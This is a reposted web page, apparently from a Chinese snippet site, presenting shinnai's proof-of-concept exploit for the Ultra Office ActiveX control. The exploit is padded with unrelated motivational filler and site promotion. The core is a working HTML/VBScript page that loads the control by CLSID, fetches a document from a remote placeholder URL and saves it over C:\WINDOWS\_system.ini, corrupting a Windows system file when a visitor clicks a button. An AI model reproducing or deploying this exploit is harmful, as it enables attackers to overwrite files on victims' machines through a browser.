Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit

每天把牢骚拿出来晒晒太阳,心情就不会缺钙。要输就输给追求,要嫁就嫁给幸福。送上清晨的问候,愿我的朋友幸福每天!早安!
-----------------------------------------------------------------------------
Ultra Office ActiveX Control Remote Arbitrary File Corruption
url: http://www.ultrashareware.com

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.

Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:00989888-BB72-4e31-A7C6-5F819C24D2F7' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
Sub tryMe
dim remURL
remURL = "http://SomeSite.com/SomeFile.doc"
test.Open remURL, True
test.Save "C:\WINDOWS\_system.ini", True
End Sub
</script>


以上就是Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit 。我必须让自己变得无比强大,才可能承受可知的一切压力。更多关于Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit 请关注haodaima.com其它相关文章!

标签: